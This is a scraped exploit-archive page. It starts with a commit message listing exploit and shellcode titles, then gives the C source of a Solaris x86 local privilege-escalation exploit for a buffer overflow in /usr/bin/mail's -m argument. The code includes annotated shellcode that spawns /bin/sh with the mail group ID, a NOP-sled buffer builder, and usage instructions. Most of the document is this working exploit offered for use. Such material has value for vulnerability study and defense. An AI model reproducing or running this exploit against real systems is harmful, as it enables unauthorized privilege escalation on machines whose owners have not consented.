880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
118 lines
No EOL
4.2 KiB
C
118 lines
No EOL
4.2 KiB
C
// source: https://www.securityfocus.com/bid/672/info
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A buffer overflow vulnerability in the '/usr/bin/mail' program's handling of the '-m' command line argument allows local users to obtain access to the 'mail' group.
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/*
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* Generic Solaris x86 exploit program by Brock Tellier
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* For use against any x86 sgid binary
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* Shellcode by Cheez Whiz (fixes problem with shells dropping egid if it=
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doesn't match your real gid)
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* Will set gid=6(mail)
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*
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* gcc -o mailex solx86gid.c
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* /usr/bin/mail -m `./mailex 0 1975 2285` foo
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. <period, enter>
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$ =
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=
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* Usage: ./mailex <offset> <NOPS> <BUFSIZE>
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* =
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*/
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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#include <unistd.h>
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#define BUF 10000
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#define NOP 0x90
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char shell[] =
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/* 0 */ "\xeb\x45" /* jmp springboard */
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/* syscall: */
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/* 2 */ "\x9a\xff\xff\xff\xff\x07\xff" /* lcall 0x7,0x0 */
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/* 9 */ "\xc3" /* ret */
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/* start: */
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/* 10 */ "\x5e" /* popl %esi */
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/* 11 */ "\x31\xc0" /* xor %eax,%eax */
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/* 13 */ "\x89\x46\xb7" /* movl %eax,-0x49(%esi) */
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/* 16 */ "\x88\x46\xbc" /* movb %al,-0x44(%esi) */
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/* 19 */ "\x88\x46\x07" /* movb %al,0x7(%esi) */
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/* 22 */ "\x89\x46\x0c" /* movl %eax,0xc(%esi) */
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/* setregid: */
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/* 25 */ "\x31\xc0" /* xor %eax,%eax */
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/* 27 */ "\xb0\x2f" /* movb $0x2f,%al */
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/* 29 */ "\xe8\xe0\xff\xff\xff" /* call syscall */
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/* 34 */ "\x52" /* pushl %edx */
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/* 35 */ "\x52" /* pushl %edx */
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/* 36 */ "\x31\xc0" /* xor %eax,%eax */
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/* 38 */ "\xb0\xcb" /* movb $0xcb,%al */
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/* 40 */ "\xe8\xd5\xff\xff\xff" /* call syscall */
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/* 45 */ "\x83\xc4\x08" /* addl $0x4,%esp */
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/* execve: */
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/* 48 */ "\x31\xc0" /* xor %eax,%eax */
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/* 50 */ "\x50" /* pushl %eax */
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/* 51 */ "\x8d\x5e\x08" /* leal 0x8(%esi),%ebx */
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/* 54 */ "\x53" /* pushl %ebx */
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/* 55 */ "\x8d\x1e" /* leal (%esi),%ebx */
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/* 57 */ "\x89\x5e\x08" /* movl %ebx,0x8(%esi) */
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/* 60 */ "\x53" /* pushl %ebx */
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/* 61 */ "\xb0\x3b" /* movb $0x3b,%al */
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/* 63 */ "\xe8\xbe\xff\xff\xff" /* call syscall */
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/* 68 */ "\x83\xc4\x0c" /* addl $0xc,%esp */
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/* springboard: */
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/* 71 */ "\xe8\xbe\xff\xff\xff" /* call start */
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/* data: */
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/* 76 */ "\x2f\x62\x69\x6e\x2f\x73\x68\xff" /* DATA */
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/* 84 */ "\xff\xff\xff\xff" /* DATA */
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/* 88 */ "\xff\xff\xff\xff"; /* DATA */
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unsigned long int nop;
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unsigned long int esp;
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long int offset;
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char buf[BUF];
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unsigned long int get_esp()
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{
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__asm__("movl %esp,%eax");
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}
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void
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main (int argc, char *argv[])
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{
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int buflen, i;
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=
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if (argc > 1)
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offset = strtol(argv[1], NULL, 0);
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if (argc > 2)
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nop = strtoul(argv[2], NULL, 0);
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else
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nop = 285;
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if (argc > 3)
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buflen=atoi(argv[3]);
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else =
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buflen=BUF;
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=
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esp = get_esp();
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memset(buf, NOP, buflen);
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memcpy(buf+nop, shell, strlen(shell));
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for (i = nop+strlen(shell); i < buflen-4; i += 4)
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*((int *) &buf[i]) = esp+offset;
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for (i = 0; i < strlen(buf); i++) putchar(buf[i]);
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return;
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} |